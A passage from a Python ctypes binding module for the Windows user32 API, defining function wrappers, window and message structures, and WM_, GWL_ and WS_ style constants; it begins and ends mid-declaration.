SetProcessWindowStation(\n# _In_ HWINSTA hWinSta);\nSetProcessWindowStation = user32.SetProcessWindowStation\nSetProcessWindowStation.restype = WINAPI\n\n\n# WINAPI\n# GetProcessWindowStation(\n# VOID);\nGetProcessWindowStation = user32.GetProcessWindowStation\nGetProcessWindowStation.restype = WINAPI\n\n\n# WINAPI\n# SetUserObjectSecurity(\n# _In_ HANDLE hObj,\n# _In_ PSECURITY_INFORMATION pSIRequested,\n# _In_ PSECURITY_DESCRIPTOR pSID);\nSetUserObjectSecurity = user32.SetUserObjectSecurity\nSetUserObjectSecurity.restype = WINAPI\n\n\n# WINAPI\n# GetUserObjectSecurity(\n# _In_ HANDLE hObj,\n# _In_ PSECURITY_INFORMATION pSIRequested,\n# _Out_writes_bytes_opt_(nLength) PSECURITY_DESCRIPTOR pSID,\n# _In_ DWORD nLength,\n# _Out_ LPDWORD lpnLengthNeeded);\nGetUserObjectSecurity = user32.GetUserObjectSecurity\nGetUserObjectSecurity.restype = WINAPI\n\nUOI_FLAGS = 0x00000001\nUOI_NAME = 0x00000002\nUOI_TYPE = 0x00000003\nUOI_USER_SID = 0x00000004\nUOI_HEAPSIZE = 0x00000005\nUOI_IO = 0x00000006\nUOI_TIMERPROC_EXCEPTION_SUPPRESSION = 0x00000007\n\nclass tagUSEROBJECTFLAGS(ctypes.Structure):\n _fields_ = [\n ('fInherit', BOOL),\n ('fReserved', BOOL),\n ('dwFlags', DWORD),\n ]\n\n\nUSEROBJECTFLAGS = tagUSEROBJECTFLAGS\nPUSEROBJECTFLAGS = POINTER(tagUSEROBJECTFLAGS)\n\n\n\n# WINAPI\n# GetUserObjectInformationA(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _Out_writes_bytes_opt_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength,\n# _Out_opt_ LPDWORD lpnLengthNeeded);\nGetUserObjectInformationA = user32.GetUserObjectInformationA\nGetUserObjectInformationA.restype = WINAPI\n\n\n# WINAPI\n# GetUserObjectInformationW(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _Out_writes_bytes_opt_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength,\n# _Out_opt_ LPDWORD lpnLengthNeeded);\nGetUserObjectInformationW = user32.GetUserObjectInformationW\nGetUserObjectInformationW.restype = WINAPI\n\nGetUserObjectInformation = GetUserObjectInformationW\n# GetUserObjectInformation = GetUserObjectInformationA\n\n# WINAPI\n# SetUserObjectInformationA(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _In_reads_bytes_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength);\nSetUserObjectInformationA = user32.SetUserObjectInformationA\nSetUserObjectInformationA.restype = WINAPI\n\n\n# WINAPI\n# SetUserObjectInformationW(\n# _In_ HANDLE hObj,\n# _In_ INT nIndex,\n# _In_reads_bytes_(nLength) PVOID pvInfo,\n# _In_ DWORD nLength);\nSetUserObjectInformationW = user32.SetUserObjectInformationW\nSetUserObjectInformationW.restype = WINAPI\n\nSetUserObjectInformation = SetUserObjectInformationW\n# SetUserObjectInformation = SetUserObjectInformationA\n\nclass tagWNDCLASSEXA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCSTR),\n ('lpszClassName', LPCSTR),\n ('hIconSm', HICON),\n ]\n\n\nWNDCLASSEXA = tagWNDCLASSEXA\nPWNDCLASSEXA = POINTER(tagWNDCLASSEXA)\nNPWNDCLASSEXA = POINTER(tagWNDCLASSEXA)\nLPWNDCLASSEXA = POINTER(tagWNDCLASSEXA)\n\n\n\nclass tagWNDCLASSEXW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCWSTR),\n ('lpszClassName', LPCWSTR),\n ('hIconSm', HICON),\n ]\n\n\nWNDCLASSEXW = tagWNDCLASSEXW\nPWNDCLASSEXW = POINTER(tagWNDCLASSEXW)\nNPWNDCLASSEXW = POINTER(tagWNDCLASSEXW)\nLPWNDCLASSEXW = POINTER(tagWNDCLASSEXW)\n\n\nWNDCLASSEX = WNDCLASSEXW\nPWNDCLASSEX = PWNDCLASSEXW\nNPWNDCLASSEX = NPWNDCLASSEXW\nLPWNDCLASSEX = LPWNDCLASSEXW\n\nclass tagWNDCLASSA(ctypes.Structure):\n _fields_ = [\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCSTR),\n ('lpszClassName', LPCSTR),\n ]\n\n\nWNDCLASSA = tagWNDCLASSA\nPWNDCLASSA = POINTER(tagWNDCLASSA)\nNPWNDCLASSA = POINTER(tagWNDCLASSA)\nLPWNDCLASSA = POINTER(tagWNDCLASSA)\n\n\n\nclass tagWNDCLASSW(ctypes.Structure):\n _fields_ = [\n ('style', UINT),\n ('lpfnWndProc', WNDPROC),\n ('cbClsExtra', INT),\n ('cbWndExtra', INT),\n ('hInstance', HINSTANCE),\n ('hIcon', HICON),\n ('hCursor', HCURSOR),\n ('hbrBackground', HBRUSH),\n ('lpszMenuName', LPCWSTR),\n ('lpszClassName', LPCWSTR),\n ]\n\n\nWNDCLASSW = tagWNDCLASSW\nPWNDCLASSW = POINTER(tagWNDCLASSW)\nNPWNDCLASSW = POINTER(tagWNDCLASSW)\nLPWNDCLASSW = POINTER(tagWNDCLASSW)\n\n\nWNDCLASS = WNDCLASSW\nPWNDCLASS = PWNDCLASSW\nNPWNDCLASS = NPWNDCLASSW\nLPWNDCLASS = LPWNDCLASSW\n\n# WINAPI\n# IsHungAppWindow(\n# _In_ HWND hwnd);\nIsHungAppWindow = user32.IsHungAppWindow\nIsHungAppWindow.restype = WINAPI\n\n\n# WINAPI\n# DisableProcessWindowsGhosting(\n# VOID);\nDisableProcessWindowsGhosting = user32.DisableProcessWindowsGhosting\nDisableProcessWindowsGhosting.restype = WINAPI\n\n\nclass tagMSG(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('message', UINT),\n ('wParam', WPARAM),\n ('lParam', LPARAM),\n ('time', DWORD),\n ('pt', POINT)\n ]\n\n\nMSG = tagMSG\nPMSG = POINTER(tagMSG)\nNPMSG = POINTER(tagMSG)\nLPMSG = POINTER(tagMSG)\n\n\ndef POINTSTOPOINT(pt, pts):\n pt.x = LOWORD(pts)\n pt.y = HIWORD(pts)\n return pt\n\n\ndef POINTTOPOINTS(pt):\n return MAKELONG(pt.x, pt.y)\n\n\ndef MAKEWPARAM(l, h):\n return MAKELONG(l, h)\n\n\ndef MAKELPARAM(l, h):\n return MAKELONG(l, h)\n\n\ndef MAKELRESULT(l, h):\n return MAKELONG(l, h)\n\n\nGWL_WNDPROC = -4\nGWL_HINSTANCE = -6\nGWL_HWNDPARENT = -8\nGWL_STYLE = -16\nGWL_EXSTYLE = -20\nGWL_USERDATA = -21\nGWL_ID = -12\nGWLP_WNDPROC = -4\nGWLP_HINSTANCE = -6\nGWLP_HWNDPARENT = -8\nGWLP_USERDATA = -21\nGWLP_ID = -12\nGCL_MENUNAME = -8\nGCL_HBRBACKGROUND = -10\nGCL_HCURSOR = -12\nGCL_HICON = -14\nGCL_HMODULE = -16\nGCL_CBWNDEXTRA = -18\nGCL_CBCLSEXTRA = -20\nGCL_WNDPROC = -24\nGCL_STYLE = -26\nGCW_ATOM = -32\nGCL_HICONSM = -34\nGCLP_MENUNAME = -8\nGCLP_HBRBACKGROUND = -10\nGCLP_HCURSOR = -12\nGCLP_HICON = -14\nGCLP_HMODULE = -16\nGCLP_WNDPROC = -24\nGCLP_HICONSM = -34\nWM_NULL = 0x00000000\nWM_CREATE = 0x00000001\nWM_DESTROY = 0x00000002\nWM_MOVE = 0x00000003\nWM_SIZE = 0x00000005\nWM_ACTIVATE = 0x00000006\nWA_INACTIVE = 0x00000000\nWA_ACTIVE = 0x00000001\nWA_CLICKACTIVE = 0x00000002\nWM_SETFOCUS = 0x00000007\nWM_KILLFOCUS = 0x00000008\nWM_ENABLE = 0x0000000A\nWM_SETREDRAW = 0x0000000B\nWM_SETTEXT = 0x0000000C\nWM_GETTEXT = 0x0000000D\nWM_GETTEXTLENGTH = 0x0000000E\nWM_PAINT = 0x0000000F\nWM_CLOSE = 0x00000010\nWM_QUERYENDSESSION = 0x00000011\nWM_QUERYOPEN = 0x00000013\nWM_ENDSESSION = 0x00000016\nWM_QUIT = 0x00000012\nWM_ERASEBKGND = 0x00000014\nWM_SYSCOLORCHANGE = 0x00000015\nWM_SHOWWINDOW = 0x00000018\nWM_WININICHANGE = 0x0000001A\nWM_SETTINGCHANGE = WM_WININICHANGE\nWM_DEVMODECHANGE = 0x0000001B\nWM_ACTIVATEAPP = 0x0000001C\nWM_FONTCHANGE = 0x0000001D\nWM_TIMECHANGE = 0x0000001E\nWM_CANCELMODE = 0x0000001F\nWM_SETCURSOR = 0x00000020\nWM_MOUSEACTIVATE = 0x00000021\nWM_CHILDACTIVATE = 0x00000022\nWM_QUEUESYNC = 0x00000023\nWM_GETMINMAXINFO = 0x00000024\n\nclass tagMINMAXINFO(ctypes.Structure):\n _fields_ = [\n ('ptReserved', POINT),\n ('ptMaxSize', POINT),\n ('ptMaxPosition', POINT),\n ('ptMinTrackSize', POINT),\n ('ptMaxTrackSize', POINT),\n ]\n\n\nMINMAXINFO = tagMINMAXINFO\nPMINMAXINFO = POINTER(tagMINMAXINFO)\nLPMINMAXINFO = POINTER(tagMINMAXINFO)\n\n\nWM_PAINTICON = 0x00000026\nWM_ICONERASEBKGND = 0x00000027\nWM_NEXTDLGCTL = 0x00000028\nWM_SPOOLERSTATUS = 0x0000002A\nWM_DRAWITEM = 0x0000002B\nWM_MEASUREITEM = 0x0000002C\nWM_DELETEITEM = 0x0000002D\nWM_VKEYTOITEM = 0x0000002E\nWM_CHARTOITEM = 0x0000002F\nWM_SETFONT = 0x00000030\nWM_GETFONT = 0x00000031\nWM_SETHOTKEY = 0x00000032\nWM_GETHOTKEY = 0x00000033\nWM_QUERYDRAGICON = 0x00000037\nWM_COMPAREITEM = 0x00000039\nWM_GETOBJECT = 0x0000003D\nWM_COMPACTING = 0x00000041\nWM_COMMNOTIFY = 0x00000044\nWM_WINDOWPOSCHANGING = 0x00000046\nWM_WINDOWPOSCHANGED = 0x00000047\nWM_POWER = 0x00000048\nPWR_OK = 0x00000001\nPWR_FAIL = -1\nPWR_SUSPENDREQUEST = 0x00000001\nPWR_SUSPENDRESUME = 0x00000002\nPWR_CRITICALRESUME = 0x00000003\nWM_COPYDATA = 0x0000004A\nWM_CANCELJOURNAL = 0x0000004B\n\nclass tagCOPYDATASTRUCT(ctypes.Structure):\n _fields_ = [\n ('dwData', ULONG_PTR),\n ('cbData', DWORD),\n ('lpData', PVOID),\n ]\n\n\nCOPYDATASTRUCT = tagCOPYDATASTRUCT\nPCOPYDATASTRUCT = POINTER(tagCOPYDATASTRUCT)\n\n\n\nclass tagMDINEXTMENU(ctypes.Structure):\n _fields_ = [\n ('hmenuIn', HMENU),\n ('hmenuNext', HMENU),\n ('hwndNext', HWND),\n ]\n\n\nMDINEXTMENU = tagMDINEXTMENU\nPMDINEXTMENU = POINTER(tagMDINEXTMENU)\nLPMDINEXTMENU = POINTER(tagMDINEXTMENU)\n\n\nWM_NOTIFY = 0x0000004E\nWM_INPUTLANGCHANGEREQUEST = 0x00000050\nWM_INPUTLANGCHANGE = 0x00000051\nWM_TCARD = 0x00000052\nWM_HELP = 0x00000053\nWM_USERCHANGED = 0x00000054\nWM_NOTIFYFORMAT = 0x00000055\nNFR_ANSI = 0x00000001\nNFR_UNICODE = 0x00000002\nNF_QUERY = 0x00000003\nNF_REQUERY = 0x00000004\nWM_CONTEXTMENU = 0x0000007B\nWM_STYLECHANGING = 0x0000007C\nWM_STYLECHANGED = 0x0000007D\nWM_DISPLAYCHANGE = 0x0000007E\nWM_GETICON = 0x0000007F\nWM_SETICON = 0x00000080\nWM_NCCREATE = 0x00000081\nWM_NCDESTROY = 0x00000082\nWM_NCCALCSIZE = 0x00000083\nWM_NCHITTEST = 0x00000084\nWM_NCPAINT = 0x00000085\nWM_NCACTIVATE = 0x00000086\nWM_GETDLGCODE = 0x00000087\nWM_SYNCPAINT = 0x00000088\nWM_NCMOUSEMOVE = 0x000000A0\nWM_NCLBUTTONDOWN = 0x000000A1\nWM_NCLBUTTONUP = 0x000000A2\nWM_NCLBUTTONDBLCLK = 0x000000A3\nWM_NCRBUTTONDOWN = 0x000000A4\nWM_NCRBUTTONUP = 0x000000A5\nWM_NCRBUTTONDBLCLK = 0x000000A6\nWM_NCMBUTTONDOWN = 0x000000A7\nWM_NCMBUTTONUP = 0x000000A8\nWM_NCMBUTTONDBLCLK = 0x000000A9\nWM_NCXBUTTONDOWN = 0x000000AB\nWM_NCXBUTTONUP = 0x000000AC\nWM_NCXBUTTONDBLCLK = 0x000000AD\nWM_INPUT_DEVICE_CHANGE = 0x000000FE\nWM_INPUT = 0x000000FF\nWM_KEYFIRST = 0x00000100\nWM_KEYDOWN = 0x00000100\nWM_KEYUP = 0x00000101\nWM_CHAR = 0x00000102\nWM_DEADCHAR = 0x00000103\nWM_SYSKEYDOWN = 0x00000104\nWM_SYSKEYUP = 0x00000105\nWM_SYSCHAR = 0x00000106\nWM_SYSDEADCHAR = 0x00000107\nWM_UNICHAR = 0x00000109\nWM_KEYLAST = 0x00000109\nUNICODE_NOCHAR = 0x0000FFFF\nWM_IME_STARTCOMPOSITION = 0x0000010D\nWM_IME_ENDCOMPOSITION = 0x0000010E\nWM_IME_COMPOSITION = 0x0000010F\nWM_IME_KEYLAST = 0x0000010F\nWM_INITDIALOG = 0x00000110\nWM_COMMAND = 0x00000111\nWM_SYSCOMMAND = 0x00000112\nWM_TIMER = 0x00000113\nWM_HSCROLL = 0x00000114\nWM_VSCROLL = 0x00000115\nWM_INITMENU = 0x00000116\nWM_INITMENUPOPUP = 0x00000117\nWM_GESTURE = 0x00000119\nWM_GESTURENOTIFY = 0x0000011A\nWM_MENUSELECT = 0x0000011F\nWM_MENUCHAR = 0x00000120\nWM_ENTERIDLE = 0x00000121\nWM_MENURBUTTONUP = 0x00000122\nWM_MENUDRAG = 0x00000123\nWM_MENUGETOBJECT = 0x00000124\nWM_UNINITMENUPOPUP = 0x00000125\nWM_MENUCOMMAND = 0x00000126\nWM_CHANGEUISTATE = 0x00000127\nWM_UPDATEUISTATE = 0x00000128\nWM_QUERYUISTATE = 0x00000129\nUIS_SET = 0x00000001\nUIS_CLEAR = 0x00000002\nUIS_INITIALIZE = 0x00000003\nUISF_HIDEFOCUS = 0x00000001\nUISF_HIDEACCEL = 0x00000002\nUISF_ACTIVE = 0x00000004\nWM_CTLCOLORMSGBOX = 0x00000132\nWM_CTLCOLOREDIT = 0x00000133\nWM_CTLCOLORLISTBOX = 0x00000134\nWM_CTLCOLORBTN = 0x00000135\nWM_CTLCOLORDLG = 0x00000136\nWM_CTLCOLORSCROLLBAR = 0x00000137\nWM_CTLCOLORSTATIC = 0x00000138\nMN_GETHMENU = 0x000001E1\nWM_MOUSEFIRST = 0x00000200\nWM_MOUSEMOVE = 0x00000200\nWM_LBUTTONDOWN = 0x00000201\nWM_LBUTTONUP = 0x00000202\nWM_LBUTTONDBLCLK = 0x00000203\nWM_RBUTTONDOWN = 0x00000204\nWM_RBUTTONUP = 0x00000205\nWM_RBUTTONDBLCLK = 0x00000206\nWM_MBUTTONDOWN = 0x00000207\nWM_MBUTTONUP = 0x00000208\nWM_MBUTTONDBLCLK = 0x00000209\nWM_MOUSEWHEEL = 0x0000020A\nWM_XBUTTONDOWN = 0x0000020B\nWM_XBUTTONUP = 0x0000020C\nWM_XBUTTONDBLCLK = 0x0000020D\nWM_MOUSEHWHEEL = 0x0000020E\nWM_MOUSELAST = 0x0000020E\nWHEEL_DELTA = 0x00000078\n\n\ndef GET_WHEEL_DELTA_WPARAM(wParam):\n return HIWORD(wParam)\n\nfrom limits_h import UINT_MAX\n\nWHEEL_PAGESCROLL = UINT_MAX\n\n\ndef GET_KEYSTATE_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef GET_NCHITTEST_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef GET_XBUTTON_WPARAM(wParam):\n return HIWORD(wParam)\n\n\nXBUTTON1 = 0x00000001\nXBUTTON2 = 0x00000002\nWM_PARENTNOTIFY = 0x00000210\nWM_ENTERMENULOOP = 0x00000211\nWM_EXITMENULOOP = 0x00000212\nWM_NEXTMENU = 0x00000213\nWM_SIZING = 0x00000214\nWM_CAPTURECHANGED = 0x00000215\nWM_MOVING = 0x00000216\nWM_POWERBROADCAST = 0x00000218\nPBT_APMQUERYSUSPEND = 0x00000000\nPBT_APMQUERYSTANDBY = 0x00000001\nPBT_APMQUERYSUSPENDFAILED = 0x00000002\nPBT_APMQUERYSTANDBYFAILED = 0x00000003\nPBT_APMSUSPEND = 0x00000004\nPBT_APMSTANDBY = 0x00000005\nPBT_APMRESUMECRITICAL = 0x00000006\nPBT_APMRESUMESUSPEND = 0x00000007\nPBT_APMRESUMESTANDBY = 0x00000008\nPBTF_APMRESUMEFROMFAILURE = 0x00000001\nPBT_APMBATTERYLOW = 0x00000009\nPBT_APMPOWERSTATUSCHANGE = 0x0000000A\nPBT_APMOEMEVENT = 0x0000000B\nPBT_APMRESUMEAUTOMATIC = 0x00000012\nPBT_POWERSETTINGCHANGE = 0x00008013\n\nclass POWERBROADCAST_SETTING(ctypes.Structure):\n _fields_ = [\n ('PowerSetting', GUID),\n ('DataLength', DWORD),\n ('Data', UCHAR * 1),\n ]\n\n\nPPOWERBROADCAST_SETTING = POINTER(POWERBROADCAST_SETTING)\n\n\nWM_DEVICECHANGE = 0x00000219\nWM_MDICREATE = 0x00000220\nWM_MDIDESTROY = 0x00000221\nWM_MDIACTIVATE = 0x00000222\nWM_MDIRESTORE = 0x00000223\nWM_MDINEXT = 0x00000224\nWM_MDIMAXIMIZE = 0x00000225\nWM_MDITILE = 0x00000226\nWM_MDICASCADE = 0x00000227\nWM_MDIICONARRANGE = 0x00000228\nWM_MDIGETACTIVE = 0x00000229\nWM_MDISETMENU = 0x00000230\nWM_ENTERSIZEMOVE = 0x00000231\nWM_EXITSIZEMOVE = 0x00000232\nWM_DROPFILES = 0x00000233\nWM_MDIREFRESHMENU = 0x00000234\nWM_POINTERDEVICECHANGE = 0x00000238\nWM_POINTERDEVICEINRANGE = 0x00000239\nWM_POINTERDEVICEOUTOFRANGE = 0x0000023A\nWM_TOUCH = 0x00000240\nWM_NCPOINTERUPDATE = 0x00000241\nWM_NCPOINTERDOWN = 0x00000242\nWM_NCPOINTERUP = 0x00000243\nWM_POINTERUPDATE = 0x00000245\nWM_POINTERDOWN = 0x00000246\nWM_POINTERUP = 0x00000247\nWM_POINTERENTER = 0x00000249\nWM_POINTERLEAVE = 0x0000024A\nWM_POINTERACTIVATE = 0x0000024B\nWM_POINTERCAPTURECHANGED = 0x0000024C\nWM_TOUCHHITTESTING = 0x0000024D\nWM_POINTERWHEEL = 0x0000024E\nWM_POINTERHWHEEL = 0x0000024F\nDM_POINTERHITTEST = 0x00000250\nWM_POINTERROUTEDTO = 0x00000251\nWM_POINTERROUTEDAWAY = 0x00000252\nWM_POINTERROUTEDRELEASED = 0x00000253\nWM_IME_SETCONTEXT = 0x00000281\nWM_IME_NOTIFY = 0x00000282\nWM_IME_CONTROL = 0x00000283\nWM_IME_COMPOSITIONFULL = 0x00000284\nWM_IME_SELECT = 0x00000285\nWM_IME_CHAR = 0x00000286\nWM_IME_REQUEST = 0x00000288\nWM_IME_KEYDOWN = 0x00000290\nWM_IME_KEYUP = 0x00000291\nWM_MOUSEHOVER = 0x000002A1\nWM_MOUSELEAVE = 0x000002A3\nWM_NCMOUSEHOVER = 0x000002A0\nWM_NCMOUSELEAVE = 0x000002A2\nWM_WTSSESSION_CHANGE = 0x000002B1\nWM_TABLET_FIRST = 0x000002C0\nWM_TABLET_LAST = 0x000002DF\nWM_DPICHANGED = 0x000002E0\nWM_DPICHANGED_BEFOREPARENT = 0x000002E2\nWM_DPICHANGED_AFTERPARENT = 0x000002E3\nWM_GETDPISCALEDSIZE = 0x000002E4\nWM_CUT = 0x00000300\nWM_COPY = 0x00000301\nWM_PASTE = 0x00000302\nWM_CLEAR = 0x00000303\nWM_UNDO = 0x00000304\nWM_RENDERFORMAT = 0x00000305\nWM_RENDERALLFORMATS = 0x00000306\nWM_DESTROYCLIPBOARD = 0x00000307\nWM_DRAWCLIPBOARD = 0x00000308\nWM_PAINTCLIPBOARD = 0x00000309\nWM_VSCROLLCLIPBOARD = 0x0000030A\nWM_SIZECLIPBOARD = 0x0000030B\nWM_ASKCBFORMATNAME = 0x0000030C\nWM_CHANGECBCHAIN = 0x0000030D\nWM_HSCROLLCLIPBOARD = 0x0000030E\nWM_QUERYNEWPALETTE = 0x0000030F\nWM_PALETTEISCHANGING = 0x00000310\nWM_PALETTECHANGED = 0x00000311\nWM_HOTKEY = 0x00000312\nWM_PRINT = 0x00000317\nWM_PRINTCLIENT = 0x00000318\nWM_APPCOMMAND = 0x00000319\nWM_THEMECHANGED = 0x0000031A\nWM_CLIPBOARDUPDATE = 0x0000031D\nWM_DWMCOMPOSITIONCHANGED = 0x0000031E\nWM_DWMNCRENDERINGCHANGED = 0x0000031F\nWM_DWMCOLORIZATIONCOLORCHANGED = 0x00000320\nWM_DWMWINDOWMAXIMIZEDCHANGE = 0x00000321\nWM_DWMSENDICONICTHUMBNAIL = 0x00000323\nWM_DWMSENDICONICLIVEPREVIEWBITMAP = 0x00000326\nWM_GETTITLEBARINFOEX = 0x0000033F\nWM_HANDHELDFIRST = 0x00000358\nWM_HANDHELDLAST = 0x0000035F\nWM_AFXFIRST = 0x00000360\nWM_AFXLAST = 0x0000037F\nWM_PENWINFIRST = 0x00000380\nWM_PENWINLAST = 0x0000038F\nWM_APP = 0x00008000\nWM_USER = 0x00000400\nWMSZ_LEFT = 0x00000001\nWMSZ_RIGHT = 0x00000002\nWMSZ_TOP = 0x00000003\nWMSZ_TOPLEFT = 0x00000004\nWMSZ_TOPRIGHT = 0x00000005\nWMSZ_BOTTOM = 0x00000006\nWMSZ_BOTTOMLEFT = 0x00000007\nWMSZ_BOTTOMRIGHT = 0x00000008\nHTERROR = -2\nHTTRANSPARENT = -1\nHTNOWHERE = 0x00000000\nHTCLIENT = 0x00000001\nHTCAPTION = 0x00000002\nHTSYSMENU = 0x00000003\nHTGROWBOX = 0x00000004\nHTSIZE = HTGROWBOX\nHTMENU = 0x00000005\nHTHSCROLL = 0x00000006\nHTVSCROLL = 0x00000007\nHTMINBUTTON = 0x00000008\nHTMAXBUTTON = 0x00000009\nHTLEFT = 0x0000000A\nHTRIGHT = 0x0000000B\nHTTOP = 0x0000000C\nHTTOPLEFT = 0x0000000D\nHTTOPRIGHT = 0x0000000E\nHTBOTTOM = 0x0000000F\nHTBOTTOMLEFT = 0x00000010\nHTBOTTOMRIGHT = 0x00000011\nHTBORDER = 0x00000012\nHTREDUCE = HTMINBUTTON\nHTZOOM = HTMAXBUTTON\nHTSIZEFIRST = HTLEFT\nHTSIZELAST = HTBOTTOMRIGHT\nHTOBJECT = 0x00000013\nHTCLOSE = 0x00000014\nHTHELP = 0x00000015\nSMTO_NORMAL = 0x00000000\nSMTO_BLOCK = 0x00000001\nSMTO_ABORTIFHUNG = 0x00000002\nSMTO_NOTIMEOUTIFNOTHUNG = 0x00000008\nSMTO_ERRORONEXIT = 0x00000020\nMA_ACTIVATE = 0x00000001\nMA_ACTIVATEANDEAT = 0x00000002\nMA_NOACTIVATE = 0x00000003\nMA_NOACTIVATEANDEAT = 0x00000004\nICON_SMALL = 0x00000000\nICON_BIG = 0x00000001\nICON_SMALL2 = 0x00000002\n\n# WINAPI\n# RegisterWindowMessageA(\n# _In_ LPCSTR lpString);\nRegisterWindowMessageA = user32.RegisterWindowMessageA\nRegisterWindowMessageA.restype = WINAPI\n\n\n# WINAPI\n# RegisterWindowMessageW(\n# _In_ LPCWSTR lpString);\nRegisterWindowMessageW = user32.RegisterWindowMessageW\nRegisterWindowMessageW.restype = WINAPI\n\nRegisterWindowMessage = RegisterWindowMessageW\n# RegisterWindowMessage = RegisterWindowMessageA\nSIZE_RESTORED = 0x00000000\nSIZE_MINIMIZED = 0x00000001\nSIZE_MAXIMIZED = 0x00000002\nSIZE_MAXSHOW = 0x00000003\nSIZE_MAXHIDE = 0x00000004\nSIZENORMAL = SIZE_RESTORED\nSIZEICONIC = SIZE_MINIMIZED\nSIZEFULLSCREEN = SIZE_MAXIMIZED\nSIZEZOOMSHOW = SIZE_MAXSHOW\nSIZEZOOMHIDE = SIZE_MAXHIDE\n\nclass tagWINDOWPOS(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('hwndInsertAfter', HWND),\n ('x', INT),\n ('y', INT),\n ('cx', INT),\n ('cy', INT),\n ('flags', UINT),\n ]\n\n\nWINDOWPOS = tagWINDOWPOS\nLPWINDOWPOS = POINTER(tagWINDOWPOS)\nPWINDOWPOS = POINTER(tagWINDOWPOS)\n\n\n\nclass tagNCCALCSIZE_PARAMS(ctypes.Structure):\n _fields_ = [\n ('rgrc', RECT * 3),\n ('lppos', PWINDOWPOS),\n ]\n\n\nNCCALCSIZE_PARAMS = tagNCCALCSIZE_PARAMS\nLPNCCALCSIZE_PARAMS = POINTER(tagNCCALCSIZE_PARAMS)\n\n\nWVR_ALIGNTOP = 0x00000010\nWVR_ALIGNLEFT = 0x00000020\nWVR_ALIGNBOTTOM = 0x00000040\nWVR_ALIGNRIGHT = 0x00000080\nWVR_HREDRAW = 0x00000100\nWVR_VREDRAW = 0x00000200\nWVR_REDRAW = WVR_HREDRAW | WVR_VREDRAW\nWVR_VALIDRECTS = 0x00000400\nMK_LBUTTON = 0x00000001\nMK_RBUTTON = 0x00000002\nMK_SHIFT = 0x00000004\nMK_CONTROL = 0x00000008\nMK_MBUTTON = 0x00000010\nMK_XBUTTON1 = 0x00000020\nMK_XBUTTON2 = 0x00000040\nTME_HOVER = 0x00000001\nTME_LEAVE = 0x00000002\nTME_NONCLIENT = 0x00000010\nTME_QUERY = 0x40000000\nTME_CANCEL = 0x80000000\nHOVER_DEFAULT = 0xFFFFFFFF\n\nclass tagTRACKMOUSEEVENT(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('dwFlags', DWORD),\n ('hwndTrack', HWND),\n ('dwHoverTime', DWORD),\n ]\n\n\nTRACKMOUSEEVENT = tagTRACKMOUSEEVENT\nLPTRACKMOUSEEVENT = POINTER(tagTRACKMOUSEEVENT)\n\n\n\n# WINAPI\n# TrackMouseEvent(\n# _Inout_ LPTRACKMOUSEEVENT lpEventTrack);\nTrackMouseEvent = user32.TrackMouseEvent\nTrackMouseEvent.restype = WINAPI\n\nWS_OVERLAPPED = 0x00000000\nWS_POPUP = 0x80000000\nWS_CHILD = 0x40000000\nWS_MINIMIZE = 0x20000000\nWS_VISIBLE = 0x10000000\nWS_DISABLED = 0x08000000\nWS_CLIPSIBLINGS = 0x04000000\nWS_CLIPCHILDREN = 0x02000000\nWS_MAXIMIZE = 0x01000000\nWS_CAPTION = 0x00C00000\nWS_BORDER = 0x00800000\nWS_DLGFRAME = 0x00400000\nWS_VSCROLL = 0x00200000\nWS_HSCROLL = 0x00100000\nWS_SYSMENU = 0x00080000\nWS_THICKFRAME = 0x00040000\nWS_GROUP = 0x00020000\nWS_TABSTOP = 0x00010000\nWS_MINIMIZEBOX = 0x00020000\nWS_MAXIMIZEBOX = 0x00010000\nWS_TILED = WS_OVERLAPPED\nWS_ICONIC = WS_MINIMIZE\nWS_SIZEBOX = WS_THICKFRAME\nWS_OVERLAPPEDWINDOW = (\n WS_OVERLAPPED |\n WS_CAPTION |\n WS_SYSMENU |\n WS_THICKFRAME |\n WS_MINIMIZEBOX |\n WS_MAXIMIZEBOX\n)\nWS_TILEDWINDOW = WS_OVERLAPPEDWINDOW\nWS_POPUPWINDOW = WS_POPUP | WS_BORDER | WS_SYSMENU\nWS_CHILDWINDOW = WS_CHILD\nWS_EX_DLGMODALFRAME = 0x00000001\nWS_EX_NOPARENTNOTIFY = 0x00000004\nWS_EX_TOPMOST = 0x00000008\nWS_EX_ACCEPTFILES = 0x00000010\nWS_EX_TRANSPARENT = 0x00000020\nWS_EX_MDICHILD = 0x00000040\nWS_EX_TOOLWINDOW = 0x00000080\nWS_EX_WINDOWEDGE = 0x00000100\nWS_EX_CLIENTEDGE = 0x00000200\nWS_EX_CONTEXTHELP = 0x00000400\nWS_EX_RIGHT = 0x00001000\nWS_EX_LEFT = 0x00000000\nWS_EX_RTLREADING = 0x00002000\nWS_EX_LTRREADING = 0x00000000\nWS_EX_LEFTSCROLLBAR = 0x00004000\nWS_EX_RIGHTSCROLLBAR = 0x00000000\nWS_EX_CONTROLPARENT = 0x00010000\nWS_EX_STATICEDGE = 0x00020000\nWS_EX_APPWINDOW = 0x00040000\nWS_EX_OVERLAPPEDWINDOW = WS_EX_WINDOWEDGE | WS_EX_CLIENTEDGE\nWS_EX_PALETTEWINDOW = 